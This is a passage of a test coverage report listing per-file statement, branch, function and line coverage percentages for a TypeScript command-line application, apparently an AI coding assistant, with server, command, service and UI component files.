  health.ts        |   99.09 |    91.42 |     100 |   99.09 | 147               
  live-setup.ts    |   33.33 |     37.5 |      50 |   33.33 | ...18-123,130-135 
  live.ts          |   84.61 |    76.47 |     100 |   84.61 | ...04,106-111,131 
  permission.ts    |   96.03 |    87.87 |     100 |   96.03 | 81-84             
  ...uled-tasks.ts |   87.95 |    84.38 |   94.59 |   87.95 | ...1730,1775-1776 
  ...r-backfill.ts |    98.5 |    93.75 |     100 |    98.5 | ...98,600,824-825 
  ...on-runtime.ts |   91.42 |       90 |     100 |   91.42 | 56-64             
  session.ts       |   86.69 |    83.06 |    94.3 |   86.69 | ...7149,7151-7152 
  sse-events.ts    |   87.01 |    84.95 |   94.44 |   87.01 | ...40-951,954,961 
  ...e-sessions.ts |    86.9 |    80.57 |     100 |    86.9 | ...81-483,486-491 
  terminal.ts      |   92.81 |    90.35 |     100 |   92.81 | ...10-313,332-335 
  usage-stats.ts   |     100 |    95.45 |     100 |     100 | 118               
  ...space-auth.ts |   85.55 |    75.64 |     100 |   85.55 | ...21-326,331,345 
  ...el-control.ts |   86.26 |    78.94 |     100 |   86.26 | ...17-318,339-347 
  ...management.ts |   90.35 |    78.94 |     100 |   90.35 | ...52-553,576-577 
  ...d-contacts.ts |   83.62 |    94.59 |     100 |   83.62 | 123,125-142       
  ...controller.ts |   83.33 |    80.47 |      90 |   83.33 | ...1056,1061,1068 
  ...extensions.ts |    89.9 |    79.35 |   93.93 |    89.9 | ...2348,2393-2394 
  ...-file-read.ts |      91 |    80.91 |     100 |      91 | ...20-621,624-625 
  ...file-write.ts |   89.72 |    79.35 |     100 |   89.72 | ...05,719-726,807 
  ...t-branches.ts |   75.04 |     66.4 |     100 |   75.04 | ...99-604,613-620 
  ...e-git-diff.ts |   97.19 |    89.58 |     100 |   97.19 | 157-158,185-187   
  ...ce-git-log.ts |     100 |       95 |     100 |     100 | 48,73             
  workspace-git.ts |   74.71 |     87.5 |     100 |   74.71 | 83-104            
  ...github-prs.ts |   88.26 |    63.46 |     100 |   88.26 | ...38-239,264-265 
  ...-lifecycle.ts |   95.23 |    75.75 |     100 |   95.23 | ...50-151,186-187 
  ...al-control.ts |   74.17 |    69.23 |     100 |   74.17 | ...18,220-226,231 
  ...management.ts |   87.14 |    84.21 |     100 |   87.14 | ...1802,1812-1817 
  ...cp-control.ts |    73.2 |    67.54 |   85.71 |    73.2 | ...27-633,644-645 
  ...ace-models.ts |   95.53 |    89.74 |     100 |   95.53 | ...52-157,296-297 
  ...ermissions.ts |    77.9 |    72.41 |     100 |    77.9 | ...69-277,298-316 
  ...e-settings.ts |   75.67 |       75 |     100 |   75.67 | ...15-726,732-733 
  ...tup-github.ts |   77.97 |    70.58 |   84.21 |   77.97 | ...46-352,397-398 
  ...ace-skills.ts |   76.41 |    86.11 |     100 |   76.41 | ...29-354,360-394 
  ...ace-status.ts |   82.57 |    74.48 |     100 |   82.57 | ...71-473,477-478 
  ...pace-tools.ts |   75.94 |    69.69 |   66.66 |   75.94 | ...59-164,193-194 
  ...pace-trust.ts |   76.92 |     67.1 |      80 |   76.92 | ...38-343,351-352 
  ...pace-voice.ts |   91.33 |    81.02 |     100 |   91.33 | ...70-673,676-678 
 src/serve/server  |   93.12 |    91.26 |   96.15 |   93.12 |                   
  access-log.ts    |   98.73 |    97.26 |     100 |   98.73 | 119,196           
  ...-timestamp.ts |     100 |      100 |     100 |     100 |                   
  aone-mrs.ts      |   91.48 |    91.35 |   81.25 |   91.48 | ...53,299-300,466 
  ...er-helpers.ts |   63.82 |    78.15 |   81.81 |   63.82 | ...16,330,332-347 
  ...w-registry.ts |    98.8 |    81.81 |     100 |    98.8 | 107               
  ...r-handlers.ts |   97.87 |       80 |     100 |   97.87 | 27                
  ...r-response.ts |   88.75 |    82.25 |     100 |   88.75 | ...61,878,941-950 
  fs-factory.ts    |     100 |    95.52 |     100 |     100 | 77,144,200        
  ...branch-ops.ts |     100 |      100 |     100 |     100 |                   
  ...list-cache.ts |   99.01 |    95.52 |     100 |   99.01 | 184-185           
  ...t-deadline.ts |     100 |      100 |     100 |     100 |                   
  ...iter-setup.ts |      65 |       80 |   33.33 |      65 | 30-35,38-43,47-48 
  ...st-helpers.ts |   95.13 |    95.14 |     100 |   95.13 | ...66-168,423-428 
  self-origin.ts   |   76.19 |       80 |     100 |   76.19 | 45-54             
  ...e-features.ts |    95.2 |     87.5 |     100 |    95.2 | 191-197           
  ...on-archive.ts |   91.29 |    89.33 |   97.61 |   91.29 | ...1133,1196-1197 
  ...ion-export.ts |   98.57 |    90.47 |     100 |   98.57 | 85                
  session-list.ts  |   97.27 |    93.89 |     100 |   97.27 | ...1183,1392-1396 
  ...pr-refresh.ts |     100 |    97.05 |     100 |     100 | 199,252,427       
  ...ry-context.ts |    87.5 |       50 |     100 |    87.5 | 49-50             
  telemetry.ts     |   99.06 |    97.26 |     100 |   99.06 | ...04,873,952-954 
 src/serve/voice   |    92.7 |    91.53 |   97.72 |    92.7 |                   
  ...ice-config.ts |   84.81 |       30 |     100 |   84.81 | 91-100,104-105    
  voice-ws.ts      |   91.58 |    93.44 |      96 |   91.58 | ...68,483,521-523 
  ...oordinator.ts |     100 |    98.24 |     100 |     100 | 176               
 ...kspace-service |   89.85 |    86.73 |    91.3 |   89.85 |                   
  index.ts         |   89.49 |    86.34 |      90 |   89.49 | ...1393-1397,1400 
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/services      |    92.7 |    89.68 |   98.13 |    92.7 |                   
  ...mandLoader.ts |     100 |       95 |     100 |     100 | 107               
  ...killLoader.ts |   97.19 |    85.71 |     100 |   97.19 | 142,153-154       
  ...andService.ts |   98.73 |      100 |     100 |   98.73 | 107               
  ...mandLoader.ts |   87.09 |    83.07 |     100 |   87.09 | ...35-340,345-350 
  ...omptLoader.ts |   79.55 |    88.42 |   85.71 |   79.55 | ...48,178,245-246 
  ...mandLoader.ts |   97.77 |    92.45 |     100 |   97.77 | 176,183-184       
  ...nd-factory.ts |   91.42 |    91.66 |     100 |   91.42 | 128,137-144       
  ...ation-tool.ts |     100 |    95.45 |     100 |     100 | 125               
  ...ndMetadata.ts |   98.23 |    96.72 |     100 |   98.23 | 83,87             
  commandUtils.ts  |      96 |     90.9 |     100 |      96 | 48                
  ...and-parser.ts |   90.69 |    85.71 |     100 |   90.69 | 63-66             
  ...ionService.ts |     100 |      100 |     100 |     100 |                   
  prompt-stash.ts  |   96.66 |    92.85 |     100 |   96.66 | 34-35             
  ...tree-lease.ts |   92.14 |    92.42 |     100 |   92.14 | ...91-296,329-330 
  ...low-loader.ts |     100 |    96.29 |     100 |     100 | 88                
  setup-github.ts  |    90.8 |    80.95 |     100 |    90.8 | ...49-450,457-458 
  ...-args-file.ts |   93.93 |    91.66 |    87.5 |   93.93 | 208-210,224-230   
  types.ts         |     100 |      100 |     100 |     100 |                   
  ...e-keyterms.ts |   98.64 |    95.77 |     100 |   98.64 | 116,142-143       
  voice-model.ts   |     100 |      100 |     100 |     100 |                   
  voice-service.ts |    90.4 |    87.87 |     100 |    90.4 | ...81,288,353-358 
  ...e-settings.ts |     100 |    95.23 |     100 |     100 | 19                
  ...ranscriber.ts |   91.77 |    87.11 |   97.22 |   91.77 | ...96-898,901-903 
 ...s/housekeeping |      93 |    88.34 |      95 |      93 |                   
  scheduler.ts     |      93 |    88.34 |      95 |      93 | ...57-359,411-415 
 ...rvices/insight |     100 |      100 |     100 |     100 |                   
  dates.ts         |     100 |      100 |     100 |     100 |                   
 ...ght/generators |   88.94 |    86.86 |   96.29 |   88.94 |                   
  DataProcessor.ts |   88.31 |    86.84 |      95 |   88.31 | ...1368,1372-1379 
  ...tGenerator.ts |   98.24 |    85.71 |     100 |   98.24 | 47                
  ...teRenderer.ts |     100 |      100 |     100 |     100 |                   
 .../insight/types |       0 |       50 |      50 |       0 |                   
  ...sightTypes.ts |       0 |        0 |       0 |       0 |                   
  ...sightTypes.ts |       0 |        0 |       0 |       0 | 1                 
 ...mpt-processors |   97.27 |    94.25 |     100 |   97.27 |                   
  ...tProcessor.ts |     100 |      100 |     100 |     100 |                   
  ...eProcessor.ts |   94.52 |       85 |     100 |   94.52 | 46-47,93-94       
  ...tionParser.ts |     100 |      100 |     100 |     100 |                   
  ...lProcessor.ts |   97.41 |    95.83 |     100 |   97.41 | 96-99             
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/services/tips |   97.27 |    84.61 |     100 |   97.27 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  tipHistory.ts    |   92.59 |       70 |     100 |   92.59 | ...24,146,153,162 
  tipRegistry.ts   |     100 |      100 |     100 |     100 |                   
  tipScheduler.ts  |     100 |    91.66 |     100 |     100 | 55                
 src/startup       |   88.99 |    83.47 |    90.9 |   88.99 |                   
  ...p-prefetch.ts |   98.09 |    94.23 |    87.5 |   98.09 | 50,209,225-226    
  ...reeStartup.ts |   80.53 |     74.6 |     100 |   80.53 | ...94,403,409-412 
 src/test-utils    |    94.6 |    76.66 |      80 |    94.6 |                   
  ci-env.ts        |      88 |     62.5 |     100 |      88 | 22-23,28          
  ...omMatchers.ts |   69.69 |       50 |      50 |   69.69 | 32-35,37-39,45-47 
  ...mised-lock.ts |     100 |      100 |   66.66 |     100 |                   
  ...lot-client.ts |     100 |    66.66 |     100 |     100 | 31,39             
  ...andContext.ts |     100 |      100 |     100 |     100 |                   
  render.tsx       |     100 |      100 |     100 |     100 |                   
 src/ui            |   71.09 |    78.17 |   70.65 |   71.09 |                   
  App.tsx          |   33.33 |       75 |   33.33 |   33.33 | 32-86             
  AppContainer.tsx |   76.62 |    73.37 |   71.05 |   76.62 | ...4465,4581-4587 
  ...tionNudge.tsx |    9.58 |      100 |       0 |    9.58 | 24-94             
  ...ackDialog.tsx |    30.3 |      100 |       0 |    30.3 | 26-76             
  ...tionNudge.tsx |    7.69 |      100 |       0 |    7.69 | 25-103            
  colors.ts        |   63.63 |      100 |   41.17 |   63.63 | ...52,54-55,60-61 
  constants.ts     |     100 |      100 |     100 |     100 |                   
  ...AutoUpdate.ts |   93.54 |    94.64 |      90 |   93.54 | 126,131,202-213   
  keyMatchers.ts   |   95.91 |    97.14 |     100 |   95.91 | 25-26             
  ...tic-colors.ts |     100 |      100 |     100 |     100 |                   
  ...one-update.ts |   39.81 |    77.44 |   62.16 |   39.81 | ...1193,1196-1215 
  ...ractiveUI.tsx |   68.33 |    77.27 |   41.66 |   68.33 | ...63-465,495-500 
  ...inePresets.ts |   96.27 |    83.87 |     100 |   96.27 | ...97,402,410-412 
  systemInfo.ts    |   95.09 |    90.27 |     100 |   95.09 | ...54-255,260-264 
  ...InfoFields.ts |    87.5 |    65.85 |     100 |    87.5 | ...24-125,146-147 
  textConstants.ts |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
  ...e-relaunch.ts |   89.61 |    86.66 |      50 |   89.61 | 56-61,83-84       
 src/ui/auth       |   69.23 |    72.03 |   61.22 |   69.23 |                   
  AuthDialog.tsx   |   59.01 |     42.1 |   16.66 |   59.01 | ...25,332-354,358 
  ...nProgress.tsx |       0 |        0 |       0 |       0 | 1-64              
  ...etupSteps.tsx |   74.93 |    78.62 |   71.42 |   74.93 | ...92-902,918,921 
  useAuth.ts       |   94.83 |       75 |     100 |   94.83 | ...33-234,253-259 
  ...rSetupFlow.ts |   59.79 |    58.33 |     100 |   59.79 | ...82-403,420-463 
 src/ui/commands   |    84.6 |    84.46 |   91.68 |    84.6 |                   
  aboutCommand.ts  |     100 |      100 |     100 |     100 |                   
  ...or-command.ts |     100 |    95.65 |     100 |     100 | 104,182           
  agentsCommand.ts |   83.78 |      100 |      60 |   83.78 | 30-32,42-44       
  ...odeCommand.ts |    93.1 |    95.23 |     100 |    93.1 | 77-82             
  arenaCommand.ts  |   63.89 |    65.71 |   65.21 |   63.89 | ...01-606,691-699 
  authCommand.ts   |     100 |      100 |     100 |     100 |                   
  branchCommand.ts |     100 |      100 |     100 |     100 |                   
  btwCommand.ts    |   94.32 |    77.41 |     100 |   94.32 | 35-36,114-119     
  bugCommand.ts    |     100 |    77.77 |     100 |     100 | 28,62             
  cdCommand.ts     |    92.3 |    82.75 |     100 |    92.3 | ...,94-99,178,187 
  clearCommand.ts  |    80.9 |    70.83 |     100 |    80.9 | ...28-129,137-146 
  commands.ts      |   97.45 |    96.66 |     100 |   97.45 | 153-155           
  ...essCommand.ts |   80.71 |     64.7 |     100 |   80.71 | ...05-206,220-223 
  ...astCommand.ts |   84.75 |    76.47 |     100 |   84.75 | ...96-102,130-135 
  ...ig-command.ts |   93.12 |    88.42 |     100 |   93.12 | ...07-315,321-323 
  ...extCommand.ts |   73.75 |    74.02 |   83.33 |   73.75 | ...72-605,616-617 
  copyCommand.ts   |    98.7 |    96.29 |     100 |    98.7 | 66-67,172,272,323 
  ...or-command.ts |   85.95 |    80.55 |   88.88 |   85.95 | ...68-274,298-309 
  deleteCommand.ts |     100 |      100 |     100 |     100 |                   
  diffCommand.ts   |     100 |    87.87 |     100 |     100 | ...63,231-232,245 
  ...ryCommand.tsx |   90.56 |    87.83 |    90.9 |   90.56 | ...75-280,327-334 
  docsCommand.ts   |     100 |     90.9 |     100 |     100 | 26                
  doctorChecks.ts  |   70.31 |    74.57 |     100 |   70.31 | ...95-301,325-341 
  doctorCommand.ts |   70.16 |    84.61 |      95 |   70.16 | ...29-679,682-816 
  dreamCommand.ts  |   85.45 |    88.88 |     100 |   85.45 | 58-65             
  editorCommand.ts |     100 |      100 |     100 |     100 |                   
  ...rt-command.ts |   80.95 |       80 |     100 |   80.95 | 49-54,69-72,93-98 
  effort-utils.ts  |     100 |      100 |     100 |     100 |                   
  exportCommand.ts |   98.25 |    91.02 |     100 |   98.25 | ...81,198-199,364 
  ...onsCommand.ts |   52.31 |    56.25 |   69.23 |   52.31 | ...09,277-329,390 
  forgetCommand.ts |     100 |       90 |     100 |     100 | 59                
  forkCommand.ts   |     100 |    94.11 |     100 |     100 | 95,146            
  goalCommand.ts   |     100 |    96.49 |     100 |     100 | 139,192           
  helpCommand.ts   |     100 |      100 |     100 |     100 |                   
  ...oryCommand.ts |     100 |      100 |     100 |     100 |                   
  hooksCommand.ts  |   81.25 |    65.71 |   85.71 |   81.25 | ...,86-93,131-132 
  ideCommand.ts    |   60.75 |    64.28 |   41.17 |   60.75 | ...05-306,310-324 
  ...figCommand.ts |    58.5 |    74.07 |      80 |    58.5 | ...21-331,334-343 
  initCommand.ts   |   91.86 |       80 |     100 |   91.86 | 48,83-88          
  ...ghtCommand.ts |   77.87 |    71.42 |     100 |   77.87 | ...44-245,250-272 
  ...ageCommand.ts |   94.63 |    90.66 |     100 |   94.63 | ...25-226,253-263 
  learn-command.ts |     100 |      100 |     100 |     100 |                   
  lspCommand.ts    |     100 |    86.95 |     100 |     100 | 31,102-103        
  mcpCommand.ts    |     100 |      100 |     100 |     100 |                   
  memoryCommand.ts |     100 |      100 |     100 |     100 |                   
  modelCommand.ts  |   86.28 |    86.29 |     100 |   86.28 | ...1112,1146-1151 
  peers-command.ts |     100 |    94.36 |     100 |     100 | 59,70,223,228     
  ...onsCommand.ts |     100 |      100 |     100 |     100 |                   
  planCommand.ts   |   78.82 |    76.92 |     100 |   78.82 | 30-35,51-56,68-73 
  quitCommand.ts   |     100 |      100 |     100 |     100 |                   
  recapCommand.ts  |   21.81 |      100 |      50 |   21.81 | 24-73             
  ...ns-command.ts |   98.83 |    81.81 |     100 |   98.83 | 100               
  ...berCommand.ts |     100 |     87.5 |     100 |     100 | 46                
  renameCommand.ts |    89.6 |       90 |     100 |    89.6 | ...72-176,212-219 
  ...oreCommand.ts |   90.96 |    86.04 |     100 |   90.96 | ...41-146,177-178 
  resumeCommand.ts |     100 |      100 |     100 |     100 |                   
  rewindCommand.ts |   81.25 |      100 |      50 |   81.25 | 20-22             
  ...ngsCommand.ts |     100 |      100 |     100 |     100 |                   
  ...hubCommand.ts |   89.47 |       75 |      80 |   89.47 | 54-59             
  skillsCommand.ts |   78.82 |    81.81 |     100 |   78.82 | 37-52,78,97       
  statsCommand.ts  |   90.65 |    76.73 |     100 |   90.65 | ...30-733,825-832 
  ...ineCommand.ts |     100 |      100 |     100 |     100 |                   
  ...aryCommand.ts |   73.04 |     82.3 |      90 |   73.04 | ...20-547,561-565 
  tasksCommand.ts  |   77.33 |    72.13 |     100 |   77.33 | ...46-150,173-178 
  ...tupCommand.ts |     100 |      100 |     100 |     100 |                   
  themeCommand.ts  |     100 |      100 |     100 |     100 |                   
  toolsCommand.ts  |     100 |      100 |     100 |     100 |                   
  trustCommand.ts  |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
  ...te-command.ts |     100 |    94.11 |     100 |     100 | 74,148            
  vimCommand.ts    |     100 |      100 |     100 |     100 |                   
  voice-command.ts |   93.63 |       88 |     100 |   93.63 | 36,98-103         
  ...owsCommand.ts |   94.38 |    85.29 |     100 |   94.38 | ...78-183,282-287 
 src/ui/components |   73.25 |    80.22 |    77.7 |   73.25 |                   
  AboutBox.tsx     |     100 |      100 |     100 |     100 |                   
  AnsiOutput.tsx   |   65.57 |      100 |      50 |   65.57 | 69-90             
  ApiKeyInput.tsx  |       0 |        0 |       0 |       0 | 1-97              
  AppHeader.tsx    |    88.7 |       75 |     100 |    88.7 | 36,38-43,45       
  ...odeDialog.tsx |   87.24 |    72.22 |   33.33 |   87.24 | ...85,233-238,245 
  AsciiArt.ts      |     100 |      100 |     100 |     100 |                   
  ...Indicator.tsx |   95.65 |    66.66 |     100 |   95.65 | 27,52             
  ...TextInput.tsx |   89.06 |    90.78 |     100 |   89.06 | ...87-289,303-305 
  Composer.tsx     |   94.54 |    66.66 |     100 |   94.54 | ...-76,88,143,158 
  ...entPrompt.tsx |     100 |      100 |     100 |     100 |                   
  ...ryDisplay.tsx |   75.89 |    62.06 |     100 |   75.89 | ...,88,93-108,113 
  ...geDisplay.tsx |   68.42 |    57.14 |     100 |   68.42 | 16-17,31-32,42-50 
  CronPill.tsx     |     100 |    93.75 |     100 |     100 | 19                
  ...ification.tsx |      84 |       60 |     100 |      84 | 23-24,40-42       
  ...gProfiler.tsx |       0 |        0 |       0 |       0 | 1-36              
  ...ogManager.tsx |   11.28 |      100 |       0 |   11.28 | 71-598            
  DiffDialog.tsx   |    53.5 |     37.5 |   69.23 |    53.5 | ...32-737,747-760 
  ...ngsDialog.tsx |    8.44 |      100 |       0 |    8.44 | 37-195            
  EffortDialog.tsx |   97.36 |      100 |     100 |   97.36 | 55-56             
  ExitWarning.tsx  |     100 |      100 |     100 |     100 |                   
  ...hProgress.tsx |    87.8 |    33.33 |     100 |    87.8 | 28-31,56          
  ...gsDisplay.tsx |     100 |    96.87 |   83.33 |     100 | 69                
  ...ustDialog.tsx |     100 |      100 |     100 |     100 |                   
  Footer.tsx       |   81.27 |    69.23 |      50 |   81.27 | ...06,245,267-272 
  GoalPill.tsx     |   93.51 |    81.81 |     100 |   93.51 | 37-38,106-109,123 
  Header.tsx       |   98.65 |    94.73 |     100 |   98.65 | 173,175           
  Help.tsx         |   98.33 |       90 |     100 |   98.33 | ...25,382,448-449 
  ...emDisplay.tsx |   79.69 |    67.61 |     100 |   79.69 | ...17,520,523-529 
  ...ngeDialog.tsx |     100 |      100 |     100 |     100 |                   
  InputPrompt.tsx  |   86.26 |     83.3 |      80 |   86.26 | ...2231,2252,2348 
  ...Shortcuts.tsx |     100 |       88 |     100 |     100 | 98,119            
  ...Indicator.tsx |   98.18 |    97.82 |     100 |   98.18 | 161-162           
  ...firmation.tsx |   91.42 |      100 |      50 |   91.42 | 26-31             
  MainContent.tsx  |   95.88 |    96.03 |   46.15 |   95.88 | ...20,523-527,530 
  MemoryDialog.tsx |   86.59 |    80.15 |     100 |   86.59 | ...34-435,485,553 
  ...geDisplay.tsx |       0 |        0 |       0 |       0 | 1-41              
  ModelDialog.tsx  |   85.22 |    74.17 |     100 |   85.22 | ...1042,1098,1100 
  ...tsDisplay.tsx |     100 |    97.22 |     100 |     100 | 270               
  ...fications.tsx |   16.66 |      100 |       0 |   16.66 | 14-56             
  ...onsDialog.tsx |    2.13 |      100 |       0 |    2.13 | 62-133,148-1004   
  ...ryDisplay.tsx |     100 |      100 |     100 |     100 |                   
  ...icePrompt.tsx |   92.64 |    85.71 |     100 |   92.64 | 102-106,134-139   
  PrepareLabel.tsx |   91.66 |    77.27 |     100 |   91.66 | 73-75,77-79,110   
  ...atePrompt.tsx |    8.57 |      100 |       0 |    8.57 | 24-55,58-134      
  ...geDisplay.tsx |     100 |      100 |     100 |     100 |                   
  ...ngDisplay.tsx |   21.42 |      100 |       0 |   21.42 | 13-39             
  ...hProgress.tsx |   85.25 |    88.46 |     100 |   85.25 | 121-147           
  ...ngSpinner.tsx |   67.85 |    85.71 |      50 |   67.85 | 33-50,71,78-79    
  ...dSelector.tsx |   92.79 |    82.65 |     100 |   92.79 | ...19-323,354-370 
  ...ionPicker.tsx |   83.66 |    72.13 |     100 |   83.66 | ...96,402,444-466 
  ...onPreview.tsx |   93.58 |    83.78 |     100 |   93.58 | ...,70-71,195-197 
  ...ryDisplay.tsx |     100 |      100 |     100 |     100 |                   
  ...putPrompt.tsx |   92.06 |    86.36 |   83.33 |   92.06 | ...,70-72,120-123 
  ...tedDialog.tsx |     100 |      100 |     100 |     100 |                   
  ...ngsDialog.tsx |   71.55 |    73.89 |   69.23 |   71.55 | ...1252,1258-1259 
  ...ionDialog.tsx |    92.3 |    96.15 |   33.33 |    92.3 | 60-63,68-75,164   
  ...putPrompt.tsx |    15.9 |      100 |       0 |    15.9 | 20-63             
  ...Indicator.tsx |   57.14 |      100 |       0 |   57.14 | 12-15             
  ...MoreLines.tsx |      28 |      100 |       0 |      28 | 18-40             
  ...iewDialog.tsx |   97.77 |    87.67 |     100 |   97.77 | ...97,305-307,324 
  ...tsDisplay.tsx |   95.86 |       75 |     100 |   95.86 | 67-71             
  ...ionPicker.tsx |       0 |        0 |       0 |       0 | 1-171             
  ...tivityTab.tsx |    3.94 |      100 |       0 |    3.94 | 27-275            
  StatsDialog.tsx  |    8.64 |      100 |       0 |    8.64 | ...76-111,130-322 
  StatsDisplay.tsx |     100 |      100 |     100 |     100 |                   
  ...ciencyTab.tsx |    78.9 |    56.52 |     100 |    78.9 | ...26,213,262-288 
  ...atmapView.tsx |    8.98 |      100 |       0 |    8.98 | 20-107            
  ...essionTab.tsx |      80 |    66.66 |     100 |      80 | ...70-277,283-300 
  ...ineDialog.tsx |    93.9 |    86.88 |     100 |    93.9 | ...20,282,302-304 
  ...yTodoList.tsx |   96.36 |    88.23 |     100 |   96.36 | 138-141           
  ...nsDisplay.tsx |   95.62 |    87.09 |     100 |   95.62 | ...24-125,273-275 
  ...inalImage.tsx |     100 |    93.93 |     100 |     100 | 75,129            
  ThemeDialog.tsx  |   89.95 |    46.15 |      75 |   89.95 | ...71-173,243-245 
  Tips.tsx         |   93.54 |       75 |     100 |   93.54 | 39-40             
  TodoDisplay.tsx  |     100 |      100 |     100 |     100 |                   
  ...tsDisplay.tsx |     100 |     87.5 |     100 |     100 | 31-32             
  TrustDialog.tsx  |     100 |    83.33 |     100 |     100 | 72-87             
  ...ification.tsx |   36.36 |      100 |       0 |   36.36 | 15-22             
  ...Indicator.tsx |    92.5 |     87.5 |     100 |    92.5 | 50-53             
  ...ackDialog.tsx |    7.84 |      100 |       0 |    7.84 | 24-134            
  ...xitDialog.tsx |   80.36 |    43.47 |      60 |   80.36 | ...24-238,248-251 
  ...odeVisuals.ts |   97.22 |    85.71 |     100 |   97.22 | 25                
  ...s-helpers.tsx |   66.25 |    81.25 |      50 |   66.25 | 25-32,46-53,62-72 
 ...nts/agent-view |    61.5 |    75.57 |    62.5 |    61.5 |                   
  ...atContent.tsx |    9.09 |      100 |       0 |    9.09 | 54-275,281-283    
  ...tChatView.tsx |     100 |    81.81 |     100 |     100 | 82                
  ...tComposer.tsx |   78.35 |     64.7 |   66.66 |   78.35 | ...64,277,303-305 
  AgentFooter.tsx  |   15.38 |      100 |       0 |   15.38 | 28-65             
  AgentHeader.tsx  |   15.38 |      100 |       0 |   15.38 | 27-64             
  AgentTabBar.tsx  |    87.9 |    63.88 |     100 |    87.9 | ...88,110-118,136 
  ...oryAdapter.ts |     100 |    91.83 |     100 |     100 | 103,109-110,138   
  index.ts         |       0 |        0 |       0 |       0 | 1-12              
 ...mponents/arena |   45.51 |    70.53 |   60.86 |   45.51 |                   
  ArenaCards.tsx   |   73.06 |    71.79 |   85.71 |   73.06 | ...83-185,321-326 
  ...ectDialog.tsx |   83.48 |    69.86 |   88.88 |   83.48 | ...88-392,409-410 
  ...artDialog.tsx |    9.77 |      100 |       0 |    9.77 | 27-166            
  ...tusDialog.tsx |    5.63 |      100 |       0 |    5.63 | 33-75,80-288      
  ...topDialog.tsx |    6.17 |      100 |       0 |    6.17 | 33-213            
 ...ackground-view |   85.86 |     85.1 |   92.98 |   85.86 |                   
  ...sksDialog.tsx |   82.66 |    83.09 |   85.71 |   82.66 | ...1854,1977-1983 
  ...TasksPill.tsx |   78.84 |    94.28 |     100 |   78.84 | 64,109-129        
  ...gentPanel.tsx |   97.08 |    86.31 |     100 |   97.08 | 132,442-446,520   
  agent-forest.ts  |    99.2 |    93.93 |     100 |    99.2 | 258               
  ...Visibility.ts |     100 |      100 |     100 |     100 |                   
  ...e-overlay.tsx |    88.2 |    76.47 |     100 |    88.2 | ...36-138,140-142 
 ...nts/extensions |   84.32 |    76.78 |   83.33 |   84.32 |                   
  ...gerDialog.tsx |   82.15 |    76.08 |     100 |   82.15 | ...91-198,258,260 
  TabBar.tsx       |   97.29 |    88.88 |     100 |   97.29 | 33                
  index.ts         |       0 |        0 |       0 |       0 | 1-12              
  types.ts         |     100 |      100 |     100 |     100 |                   
 ...tensions/steps |   46.26 |       85 |   58.82 |   46.26 |                   
  ...ctionStep.tsx |   95.12 |    92.85 |   85.71 |   95.12 | 84-86,89          
  ...etailStep.tsx |       0 |        0 |       0 |       0 | 1-145             
  ...nListStep.tsx |   75.26 |    88.37 |   66.66 |   75.26 | ...53,174,203-209 
  ...electStep.tsx |       0 |        0 |       0 |       0 | 1-83              
  ...nfirmStep.tsx |   16.32 |      100 |       0 |   16.32 | 28-74             
  index.ts         |       0 |        0 |       0 |       0 | 1-11              
 ...xtensions/tabs |   71.92 |    68.21 |   70.83 |   71.92 |                   
  DiscoverTab.tsx  |   68.22 |    67.66 |   55.55 |   68.22 | ...93,656-660,664 
  InstalledTab.tsx |   75.49 |    67.44 |   83.33 |   75.49 | ...77,782-783,820 
  SourcesTab.tsx   |   71.67 |    70.47 |   77.77 |   71.67 | ...28,547,621-633 
 ...tensions/views |    50.7 |    52.38 |   20.83 |    50.7 |                   
  ...tionsView.tsx |   73.75 |    56.36 |   66.66 |   73.75 | ...30,353,369-374 
  ...tionsView.tsx |   43.45 |    44.82 |    6.66 |   43.45 | ...98-405,408-420 
  ...etailView.tsx |    9.24 |      100 |       0 |    9.24 | 40-67,70-163      
 ...mponents/hooks |   87.11 |    81.37 |   91.89 |   87.11 |                   
  ...rListBody.tsx |   95.29 |    85.18 |     100 |   95.29 | 95-98             
  ...etailStep.tsx |   75.32 |    71.42 |      60 |   75.32 | ...56-169,173-186 
  ...etailStep.tsx |     100 |      100 |     100 |     100 |                   
  ...rListStep.tsx |     100 |      100 |     100 |     100 |                   
  ...entHeader.tsx |     100 |    85.71 |     100 |     100 | 47                
  ...rListStep.tsx |     100 |      100 |     100 |     100 |                   
  ...etailStep.tsx |     100 |      100 |     100 |     100 |                   
  ...abledStep.tsx |     100 |      100 |     100 |     100 |                   
  ...sListStep.tsx |     100 |      100 |     100 |     100 |                   
  ...entDialog.tsx |   72.29 |    70.49 |     100 |   72.29 | ...51,563-568,572 
  constants.ts     |     100 |      100 |     100 |     100 |                   
  index.ts         |       0 |        0 |       0 |       0 | 1-13              
  ...erGrouping.ts |     100 |      100 |     100 |     100 |                   
  sourceLabels.ts  |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
 ...components/mcp |   40.91 |    63.44 |   70.58 |   40.91 |                   
  ...ealthPill.tsx |     100 |      100 |     100 |     100 |                   
  ...entDialog.tsx |   32.09 |    26.19 |      40 |   32.09 | ...12,914,927-933 
  ...valDialog.tsx |   15.06 |      100 |       0 |   15.06 | 40-109            
  constants.ts     |     100 |      100 |     100 |     100 |                   
  index.ts         |       0 |        0 |       0 |       0 | 1-35              
  types.ts         |     100 |      100 |     100 |     100 |                   
  utils.ts         |      97 |       95 |     100 |      97 | 24,113-114        
 ...ents/mcp/steps |   53.94 |    73.51 |   57.14 |   53.94 |                   
  ...icateStep.tsx |    5.65 |      100 |       0 |    5.65 | 40-66,69-308      
  ...electStep.tsx |   10.95 |      100 |       0 |   10.95 | 16-88             
  ...etailStep.tsx |     100 |      100 |     100 |     100 |                   
  ...eListStep.tsx |   99.09 |    97.36 |     100 |   99.09 | 71                
  ...etailStep.tsx |   62.83 |       60 |   33.33 |   62.83 | ...87-296,307-332 
  ...rListStep.tsx |   88.53 |    81.25 |     100 |   88.53 | ...64,170,175-180 
  ...etailStep.tsx |    10.3 |      100 |       0 |    10.3 | ...1,67-79,82-140 
  ToolListStep.tsx |   69.29 |       50 |     100 |   69.29 | ...23,126,135-144 
 ...nents/messages |   90.78 |    87.65 |   86.79 |   90.78 |                   
  ...orMessage.tsx |     100 |      100 |     100 |     100 |                   
  ...ionDialog.tsx |   89.23 |     84.9 |   81.81 |   89.23 | ...75,593,611-613 
  BtwMessage.tsx   |     100 |      100 |     100 |     100 |                   
  ...upDisplay.tsx |     100 |    94.73 |     100 |     100 | ...43,289,402,432 
